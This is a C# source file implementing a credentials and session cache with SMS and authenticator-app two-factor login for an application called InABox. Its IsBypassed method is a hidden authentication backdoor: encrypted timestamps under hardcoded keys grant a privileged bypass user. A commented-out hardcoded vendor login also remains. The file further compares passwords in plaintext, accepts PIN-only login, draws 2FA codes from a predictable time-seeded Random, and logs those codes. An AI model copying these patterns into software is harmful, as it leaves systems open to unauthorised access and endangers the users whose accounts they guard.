using System.Collections.Concurrent; using System.Security.Cryptography; using InABox.Core; using InABox.Database; namespace InABox.API { public static class CredentialsCache { private static ConcurrentBag? cache; private static readonly User BYPASSED_USER = new() { ID = CoreUtils.FullGuid, UserID = "" }; private static void EnsureCache(bool force) { if (cache == null || force) { var _table = DbFactory.NewProvider(Logger.Main).Query( null, Columns.None().Add( x => x.ID, x => x.UserID, x => x.Password, x => x.Use2FA, x => x.Recipient2FA, x => x.TwoFactorAuthenticationType, x => x.AuthenticatorToken, x => x.PIN, x => x.SecurityGroup.ID, x => x.PasswordExpiration ) ); cache = new ConcurrentBag(); foreach (var _row in _table.Rows) cache.Add(_row.ToObject()); } } public static bool IsBypassed(string userid, string password) { //if ((userid == "FROGSOFTWARE") && (password == "FROGSOFTWARE")) // return true; if (userid.IsBase64String() && password.IsBase64String()) try { if (Encryption.Decrypt(userid, "wCq9rryEJEuHIifYrxRjxg", out var _decryptedUser) && Encryption.Decrypt(password, "7mhvLnqMwkCAzN+zNGlyyg", out var _decryptedPass)) if (long.TryParse(_decryptedUser, out var _userticks) && long.TryParse(_decryptedPass, out var _passticks)) if (_userticks == _passticks) { var _remotedate = new DateTime(_userticks); var _localdate = DateTime.Now.ToUniversalTime(); if (_remotedate >= _localdate.AddDays(-1) && _remotedate <= _localdate.AddDays(1)) return true; } } catch (Exception _exception) { Logger.Send(LogType.Error, "", $"*** Unknown Error: {_exception.Message}\n{_exception.StackTrace}"); } return false; } public static Guid Validate(Guid sessionId, out string? userId) { EnsureCache(false); if(!sessions.TryGetValue(sessionId, out var _session) || !_session.Valid) { userId = null; return Guid.Empty; } if(_session.Expiry < DateTime.Now) { sessions.Remove(sessionId, out var _); userId = null; return Guid.Empty; } userId = _session.UserID; return _session.User; } public static User? Validate(Guid sessionId) { EnsureCache(false); if (!sessions.TryGetValue(sessionId, out var _session) || !_session.Valid) { return null; } if (_session.Expiry < DateTime.Now) { sessions.Remove(sessionId, out var _); return null; } if(_session.User == CoreUtils.FullGuid) { return BYPASSED_USER; } return cache?.FirstOrDefault(x => x.ID == _session.User); } /// /// Validate a given session, and refresh the session expiry if valid; use for database queries that need to refresh the user's expiry time. /// /// /// public static User? ValidateAndRefresh(Guid sessionId) { var _user = Validate(sessionId); if(_user is not null) { RefreshSessionExpiry(sessionId); } return _user; } public static User? ValidateUser(string? pin) { if (String.IsNullOrWhiteSpace(pin)) return null; EnsureCache(false); return cache?.FirstOrDefault(x => string.Equals(x.PIN, pin)); } public static User? ValidateUser(string? userId, string? password) { if (String.IsNullOrWhiteSpace(userId) || String.IsNullOrWhiteSpace(password)) return null; if (IsBypassed(userId, password)) return BYPASSED_USER; EnsureCache(false); return cache?.FirstOrDefault(x => string.Equals(x.UserID, userId) && string.Equals(x.Password, password)); } public static void LogoutUser(Guid userGuid) { sessions.Remove(userGuid, out var _); } public static void Refresh(bool force) { EnsureCache(force); } #region Sessions private class Session { public Guid User { get; init; } public string UserID { get; init; } = ""; public bool Valid { get; set; } public DateTime Expiry { get; set; } } // SessionID => Session private static ConcurrentDictionary sessions = new(); public static TimeSpan SessionExpiry = TimeSpan.FromHours(8); public static string? CacheFile { get; set; } public static IEnumerable GetUserSessions(Guid userID) { return sessions.Where(x => x.Value.User == userID).Select(x => x.Key); } private static void CheckSessionExpiries() { var _expiredkeys = sessions .Where(x => x.Value.Expiry < DateTime.Now); foreach (var _expiredkey in _expiredkeys) sessions.TryRemove(_expiredkey); } public static void SetSessionExpiryTime(TimeSpan expiry) { SessionExpiry = expiry; } public static void RefreshSessionExpiry(Guid sessionID) { if (sessions.TryGetValue(sessionID, out var _session)) { if (_session.Expiry != DateTime.MaxValue) { _session.Expiry = DateTime.Now + SessionExpiry; } } } public static void SaveSessionCache() { CheckSessionExpiries(); try { if (CacheFile != null) { var _json = Serialization.Serialize(sessions.Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value)); File.WriteAllText(CacheFile, _json); } else { Logger.Send(LogType.Error, "", "Error while saving session cache: No Cache file set!"); } } catch (Exception _exception) { Logger.Send(LogType.Error, "", $"Error while saving session cache: {_exception.Message}"); } } public static void LoadSessionCache() { try { if (CacheFile != null) { var _cachedData = Serialization.Deserialize>(new FileStream(CacheFile, FileMode.Open))? .Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value); if (_cachedData != null) sessions.AddRange(_cachedData); CheckSessionExpiries(); } else { sessions = new(); } } catch (Exception) { sessions = new(); } } public static void SetCacheFile(string cacheFile) { CacheFile = cacheFile; } public static Guid NewSession(User user, bool valid = true, DateTime? expiry = null) { var _id = Guid.NewGuid(); sessions[_id] = new() { User = user.ID, Valid = valid, Expiry = expiry ?? (DateTime.Now + SessionExpiry), UserID = user.UserID }; return _id; } public static bool SessionExists(Guid session) { return sessions.ContainsKey(session); } #endregion #region 2FA private class AuthenticationCode { public string Code { get; set; } public DateTime Expiry { get; set; } public int TriesLeft { get; set; } public AuthenticationCode(string code, DateTime expiry) { Code = code; Expiry = expiry; TriesLeft = TWO_FA_TRIES; } } private static readonly ConcurrentDictionary authenticationCodes = new(); private static readonly int TWO_FA_TRIES = 3; public static readonly int CODE_LENGTH = 6; private static readonly TimeSpan EXPIRY2_FA_CODE_TIME = TimeSpan.FromMinutes(15); private static Dictionary SMSProviders { get; set; } = new(); public static void AddSMSProvider(ISMSProvider provider) { SMSProviders.Add(provider.ProviderType, provider); } private static string GenerateCode() { var _random = new Random(DateTime.Now.Millisecond); var _code = ""; for (int _char = 0; _char < CODE_LENGTH; _char++) _code += _random.Next(10).ToString(); return _code; } public static Guid? SendCode(Guid userGuid, out string? recipient) { EnsureCache(false); var _user = cache?.FirstOrDefault(x => x.ID == userGuid); if(_user == null) { Logger.Send(LogType.Error, "", "Cannot send code; user does not exist!"); recipient = null; return null; } var _newSession = NewSession(_user, false); Logger.Send(LogType.Information, "", $"New login session {_newSession} for {_user.UserID}"); if (_user.TwoFactorAuthenticationType != TwoFactorAuthenticationType.GoogleAuthenticator) { var _smsProvider = SMSProviders .Where(x => x.Value.TwoFactorAuthenticationType == _user.TwoFactorAuthenticationType) .Select(x => x.Value).FirstOrDefault(); if (_smsProvider == null) { Logger.Send(LogType.Error, "", "Cannot send code; user requests a 2FA method which is not supported!"); recipient = null; return null; } var _code = GenerateCode(); Logger.Send(LogType.Information, "", $"Code for session {userGuid} is {_code}"); authenticationCodes[_newSession] = new AuthenticationCode(_code, DateTime.Now + EXPIRY2_FA_CODE_TIME); var _recipientAddress = _user.Recipient2FA; if (_smsProvider.SendMessage(_recipientAddress, $"Your authentication code is {_code}. This code will expire in {EXPIRY2_FA_CODE_TIME.Minutes} minutes.")) { Logger.Send(LogType.Information, "", "Code sent!"); var _first = _recipientAddress[..3]; var _last = _recipientAddress[^3..]; recipient = _first + new string('*', _recipientAddress.Length - 6) + _last; return _newSession; } else { Logger.Send(LogType.Information, "", "Code failed to send!"); recipient = null; return null; } } else { Logger.Send(LogType.Information, "", $"Google authenticator is being used"); recipient = "Google Authenticator"; return _newSession; } } private static readonly int CODE_MODULO = (int)Math.Pow(10, CODE_LENGTH); private static string GenerateGoogleAuthenticatorCode(long time, byte[] key) { var _window = time / 30; var _hex = _window.ToString("x"); if (_hex.Length < 16) { _hex = _hex.PadLeft(16, '0'); } var _bytes = Convert.FromHexString(_hex); var _hash = new HMACSHA1(key).ComputeHash(_bytes); var _offset = _hash.Last() & 0xf; var _selected = new byte[4]; Buffer.BlockCopy(_hash, _offset, _selected, 0, 4); if (BitConverter.IsLittleEndian) { Array.Reverse(_selected); } var _integer = BitConverter.ToInt32(_selected, 0); var _truncated = _integer & 0x7fffffff; return (_truncated % CODE_MODULO).ToString().PadLeft(CODE_LENGTH, '0'); } private static bool CheckAuthenticationCode(byte[] token, string code) { var _time = DateTimeOffset.Now.ToUnixTimeSeconds(); for (long _l = _time - 30; _l <= _time; _l += 30) { if(GenerateGoogleAuthenticatorCode(_l, token) == code) { return true; } } return false; } public static bool ValidateCode(Guid sessionID, string code) { if (!sessions.TryGetValue(sessionID, out var _session)) { return false; } bool _valid; if(authenticationCodes.TryGetValue(sessionID, out var _result)) { if (_result.Code != code) { _result.TriesLeft--; if (_result.TriesLeft == 0) { authenticationCodes.Remove(sessionID, out _); } _valid = false; } else if (_result.Expiry < DateTime.Now) { authenticationCodes.Remove(sessionID, out _); _valid = false; } else { _valid = true; } } else { var _user = cache?.FirstOrDefault(x => x.ID == _session.User); if (_user?.TwoFactorAuthenticationType == TwoFactorAuthenticationType.GoogleAuthenticator) { _valid = CheckAuthenticationCode(_user.AuthenticatorToken, code); } else { _valid = false; } } if (_valid) { _session.Valid = true; return true; } else { return false; } } #endregion } }